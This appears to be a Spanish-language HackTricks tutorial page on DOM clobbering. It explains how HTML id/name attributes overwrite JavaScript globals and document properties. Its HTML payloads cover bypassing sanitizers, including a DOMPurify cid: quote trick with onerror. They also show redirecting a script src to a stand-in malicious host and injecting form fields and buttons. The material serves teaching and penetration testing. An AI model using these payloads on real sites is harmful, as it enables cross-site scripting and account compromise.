hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

222 lines
14 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Conceptos básicos**
Es posible generar **variables globales dentro del contexto JS** con los atributos **`id`** y **`name`** en etiquetas HTML.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
Solo ciertos elementos pueden usar el atributo **name** para clobber globals, son: `embed`, `form`, `iframe`, `image`, `img` y `object`.
Curiosamente, cuando se utiliza un **elemento de formulario** para **clobber** una variable, se obtendrá el valor **`toString`** del propio elemento: `[object HTMLFormElement]` pero con **anchor** el **`toString`** será el **`href`** del anchor. Por lo tanto, si se clobber usando la etiqueta **`a`**, se puede **controlar** el **valor** cuando se trata como una cadena:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Arrays y Atributos
También es posible **sobrescribir un array** y **los atributos de un objeto**:
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Para sobrescribir **un tercer atributo** (por ejemplo, x.y.z), necesitas usar un **`form`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Sobrescribir más atributos es **más complicado pero aún posible**, utilizando iframes:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
La etiqueta style se utiliza para **dar suficiente tiempo al iframe para renderizar**. Sin ella, se mostrará una alerta de **indefinido**.
{% endhint %}
Para clobber atributos más profundos, puedes utilizar **iframes con codificación HTML** de esta manera:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **Burlando Filtros**
Si un filtro está **recorriendo** las **propiedades** de un nodo usando algo como `document.getElementByID('x').attributes`, podrías **sobrescribir** el atributo **`.attributes`** y **romper el filtro**. Otras propiedades del DOM como **`tagName`**, **`nodeName`** o **`parentNode`** y más también son **sobrescribibles**.
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Sobrescribiendo `window.someObject`**
Un patrón común utilizado por los desarrolladores de JavaScript es:
```javascript
var someObject = window.someObject || {};
```
Si puedes controlar parte del HTML en la página, puedes sobrescribir la referencia `someObject` con un nodo DOM, como un enlace. Considera el siguiente código:
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
Para explotar este código vulnerable, podrías inyectar el siguiente HTML para sobrescribir la referencia `someObject` con un elemento de anclaje:
{% code overflow="wrap" %}
```html
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
```
{% endcode %}
Inyectar los datos **`window.someObject.url`** va a ser `href=//malicious-website.com/malicious.js`
**Truco**: **`DOMPurify`** te permite usar el protocolo **`cid:`**, el cual **no codifica en URL las comillas dobles**. Esto significa que puedes **inyectar una comilla doble codificada que será decodificada en tiempo de ejecución**. Por lo tanto, inyectar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** hará que la comilla codificada `&quot;` sea **decodificada en tiempo de ejecución** y **escape** del valor del atributo para **crear** el evento **`onerror`**.
Otra técnica común consiste en usar el elemento **`form`**. Algunas bibliotecas del lado del cliente pasarán por los atributos del elemento de formulario creado para sanitizarlo. Pero, si creas un `input` dentro del formulario con `id=attributes`, **sobrescribirás la propiedad de atributos** y el sanitizador **no** podrá pasar por los **atributos reales**.
Puedes [**encontrar un ejemplo de este tipo de sobrescritura en este informe de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Sobrescribiendo el objeto document
Según la documentación, es posible sobrescribir los atributos del objeto document usando DOM Clobbering:
> La interfaz [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [admite propiedades con nombre](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedad admitidos](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) según el elemento que los contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes que los valores de atributos de nombre cuando el mismo elemento contribuye a ambos:
>
> \- El valor del atributo de contenido de nombre para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) y [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido de nombre no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que tienen tanto un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío como un atributo de contenido de nombre no vacío, y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root).
Usando esta técnica, puedes sobrescribir **valores comúnmente usados como `document.cookie`, `document.body`, `document.children`**, e incluso métodos en la interfaz Document como `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Escribiendo después del elemento clobbered
Puedes clobber los resultados de una llamada **`document.getElementById()`** y **`document.querySelector()`** si **inyectas una etiqueta `<html>` o `<body>` con el mismo atributo id**. Aquí tienes un ejemplo:
```html
<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>
```
También es interesante que puedes **ocultar elementos del `innerText`**, por lo que si inyectas una etiqueta HTML/body, puedes usar estilos para ocultarla del `innerText` y evitar que otro texto interfiera con tu ataque:
```html
<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
```
Miramos también SVG y es posible usar la etiqueta `<body>` allí:
```html
<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
```
Necesitas una etiqueta `<foreignobject>` para poder usar la etiqueta HTML dentro de SVG en Chrome y Firefox:
```html
<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
```
## Clobbering de Formularios
Es posible agregar **nuevas entradas dentro de un formulario** simplemente especificando el atributo `form` dentro de algunas etiquetas. Puedes usar esto para **agregar nuevos valores dentro de un formulario** e incluso agregar un nuevo **botón** para **enviarlo** (clickjacking o abusando de algún código JS `.click()`):
{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* Para más atributos de formulario en [**botón revisa esto**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Referencias
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* Heyes, Gareth. JavaScript para hackers: Aprende a pensar como un hacker.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>